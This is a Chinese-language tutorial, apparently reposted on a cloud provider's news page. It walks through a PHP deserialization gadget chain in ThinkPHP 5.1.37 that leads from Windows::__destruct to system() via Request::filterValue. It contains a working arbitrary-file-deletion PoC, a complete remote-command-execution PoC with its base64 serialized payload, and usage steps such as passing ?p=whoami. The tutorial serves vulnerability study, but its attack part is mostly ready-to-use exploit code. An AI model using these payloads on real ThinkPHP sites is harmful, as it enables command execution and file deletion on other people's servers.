您好,登錄后才能下訂單哦!
如何理解thinkphp5.1.37反序列化,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
紙上得來終覺淺,絕知此事要躬行。網上已經有很多分析的文章了,但是我還是決定按自己的理解寫一下分析利用過程,化繁為簡、深入淺出讓它看起來更容易懂一些,降低理解的難度。
下載地址:
應用項目:https://github.com/top-think/think
核心框架:https://github.com/top-think/framework
把framework修改為thinkphp放入到thinkphp5.1.37文件夾中這樣整個框架就搭建好了
反序列化鏈涉及到的文件:
起點文件-> thinkphp\library\think\process\pipes\Windows.php
thinkphp\library\think\model\concern\Conversion.php
thinkphp\library\think\model\concern\ Attribute.php
thinkphp\library\think\model\concern\ RelationShip.php
thinkphp\library\think\Model.php
thinkphp\library\think\Pivot.php
終點文件-> thinkphp\library\think\Request.php
是不是覺得文件很多,頭很大,那我們來簡化一下
起點文件-> thinkphp\library\think\process\pipes\Windows.php
thinkphp\library\think\Pivot.php
終點文件-> thinkphp\library\think\Request.php
為什么這樣寫呢因為 Conversion、Attribute 和RelationShip是trait類,其代碼可以復用,而model類復用了這三個文件的代碼所以我們就可以把這四個文件看做一個文件,然而model類文件是abstract(抽象)類不能直接使用,pivot類繼承了model類,所以pivot文件相當于這四個文件的一個集.合體。所以我們只用關注Windows.php、Pivot.php、Request.php這三個文件。
涉及到的方法:
Windows.php 下的 __destruct()方法、removeFiles()
Conversion.php 下的__toString()方法、toJson()方法、toArray()方法
RelationShip.php 下的getRelation()方法
Attribute.php 下的getAttr()方法、getData()方法
Request.php 下的__call()方法、isAjax()方法、param()方法、input()方法、filterValue()方法
這其中Conversion.php、RelationShip.php、Attribute.php 下的方法可以理解為Pivot.php的方法
我們把這個利用鏈路劃分為三個小目標:
1、利用Windows類激活__toString()魔術方法。
2、利用Pivot.類激活__call()魔術方法
3、利用Request類實現代碼執行
利用鏈如下:
__destruct() —>removeFiles() —>_toString() —>toJson() —>toArray() —>getRelation() —>getAttr() —>getData() —>__call() —>isAjax() —>param() —>input() —>filterValue()
代碼分析:
Windows對象在進行反序列化操作時會執行析構方法__destruct(),然后調用了removeFiles方法在removeFiles方法中會判斷$this->files是不是存在存在即刪除,因此這里存在任意文件刪除,我們只要在生成windowsdu對象時進行$this->file賦值為一個文件的路徑,那么反序列化時就會刪除這個文件。
public function __destruct() { $this->close(); $this->removeFiles(); } private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); } } $this->files = []; }poc任意文件刪除:
<?php namespace think\process\pipes; class Windows{ private $files = []; public function __construct(){ $this->files=['d:/1.txt']; } } echo base64_encode(serialize(new Windows()));
在file_exists()函數中如果傳入的參數是一個對象的話,那么就會把這個對象當做字符串,這樣就會觸發對象的__toString()魔術方法,而恰好在Conversion類中實現了這個方法(成功實現第一個小目標),在Conversion類的__toString中又調用了toJson方法、toJson中又調用了toArray方法、
public function __toString() { return $this->toJson(); } public function toJson($options = JSON_UNESCAPED_UNICODE) { return json_encode($this->toArray(), $options); } // 追加屬性(必須定義獲取器) if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { // 追加關聯對象屬性 $relation = $this->getRelation($key); if (!$relation) { $relation = $this->getAttr($key); $relation->visible($name); }
在toArray中我們要控制$this->append的值不能為空數組,而且數組中的$name必須是一個數組,那么就會執行getRelation方法。所以這里呢我們在進行序列化時賦值$this->append=[‘aa’=>[]]那么$key=’aa’跟進getRelation方法。
public function getRelation($name = null) {//此處的$name='aa' if (is_null($name)) { return $this->relation; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } return; }
在getRelation方法我們只要控制返回一個空值就好了;這就要求$name的值不能為null而且$name不是$this->relation這個數組中的一個鍵、$this->relation的值我們是可以控制的。當$relation值為假的時候那么就會執行getAttr方法,我們跟進getAttr方法。
public function getAttr($name, &$item = null) { try { $notFound = false; //此時方法中的$name=’aa’ $value = $this->getData($name); } catch (InvalidArgumentException $e) { $notFound = true; $value = null; }
調用了getDate方法此時的參數$name=’aa’、繼續跟進
public function getData($name = null) { if (is_null($name)) { return $this->data; } elseif (array_key_exists($name, $this->data)) { return $this->data[$name]; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); }
getDate的返回值為$this->data[$name]; 值$this->data的值是可控的我們可以在序列化時賦值$this->data=[‘aa’=>new Request()];沒錯返回值是一個request對象,為什么要返回request對象呢?是因為request對象中實現了一個__call()魔術方法。
if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}
在這里$relation為一個request對象,request對象調用visible方法時,因為request對象沒有visible方法就會激活__call魔術方法(成功實現第二個小目標),下面跟進request類的__call方法。
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
這里的call_user_func_array回調函數會調用$this->hook[$method] 中的方法來處理args
這里的$method= ’visible’在進行序列化時我們對$this->hook進行賦值$this->hook=[‘visible’=>[$this,isAjax]] 意思就是調用request類的isAjax方法來處理$args.跟進isAJax方法:
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
這其中調用了param方法參數為$this->config['var_ajax']) 在進行序列化時我們對$this->config進行賦值$this->config=[‘var_ajax =>’p’]
public function param($name = '', $default = null, $filter = '')
{
……
//這里可以理解為$this->param=$_GET獲取get傳參。
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
//此處$name=$this->config[‘var_ajax ]=‘p’
return $this->input($this->param, $name, $default, $filter);
}
我們跟進$this->get方法看一下
public function get($name = '', $default = null, $filter = '')
{
if (empty($this->get)) {
$this->get = $_GET;
}
return $this->input($this->get, $name, $default, $filter);
}
其實就是把url中get傳的值添加到$this->param數組里面。
隨后調用了input方法,傳參$data=$this->param,$name=’p’
public function input($data = [], $name = '', $default = null, $filter = '')
{
……
$data = $this->getData($data, $name);
// 解析過濾器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
}
}
Input方法中調用了 $data = $this->getData($data, $name);我們查看一下getData方法
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}
return $data;
}
就是從參數$data中取得數組健為$name的值,所以$data=$data[$name]= $data[‘p’]
Input方法中調用$filter = $this->getFilter($filter, $default)跟進分析
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
所以$filter=$this->filter并轉為數組,我們在進行序列化的時候可以對其進行賦值.$filter=’system’所以這里返回的就是[‘system’]并作為filter參數傳給filtervalue方法
后面的array_walk_recursive($data, [$this, 'filterValue'], $filter)意思就是調用filtervalue方法對$data進行處理$filter是參數,跟進filterfalue方法查看一下
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 調用函數或者方法過濾
$value = call_user_func($filter, $value);
call_user_func方法就是命令執行的終點,這里的$value=$this->param[‘p’],$filter=[system]也就是說用system函數來執行$value,$value的值可以視為訪問鏈接的時候提交的一個參數
/?p=whoami 最后執行的就是 system(‘whoami’)(實現第三個小目標),至此整改利用鏈構造完成。
代碼執行POC如下:
<?php
namespace think;
class Model{
//私有屬性不能在子類中修改
private $data=[];
public function __construct(){
$this->data=['aa'=>new Request];
}
}
namespace think;
class Request
{
protected $config = ['var_ajax' => 'p'];
protected $filter='system';
//必須初始化param變量為數組
protected $param = [];
protected $hook;
public function __construct(){
$this->hook=['visible'=>[$this,'isAjax']];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
protected $append = ['aa'=>[]];
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
function __construct(){
$this->files=[new Pivot()];
}
}
echo base64_encode(serialize(new windows));
利用過程如下:
1、把poc放到web服務器并進行訪問生成payload
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czoyOiJhYSI7YTowOnt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6MjoiYWEiO086MTM6InRoaW5rXFJlcXVlc3QiOjQ6e3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MToicCI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo4OiIAKgBwYXJhbSI7YTowOnt9czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo3O2k6MTtzOjY6ImlzQWpheCI7fX19fX19fQ==
2、把payload放到tp框架里并進行反序列化操作
Thinkphp5.1.37/public/index.php文件
<?phpnamespace app\index\controller;
class Index
{
public function index()
{
unserialize(base64_decode("TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czoyOiJhYSI7YTowOnt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6MjoiYWEiO086MTM6InRoaW5rXFJlcXVlc3QiOjQ6e3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MToicCI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo4OiIAKgBwYXJhbSI7YTowOnt9czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo3O2k6MTtzOjY6ImlzQWpheCI7fX19fX19fQ=="));
}
public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}
3、訪問框架并提交參數p的值為你想執行的命令
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。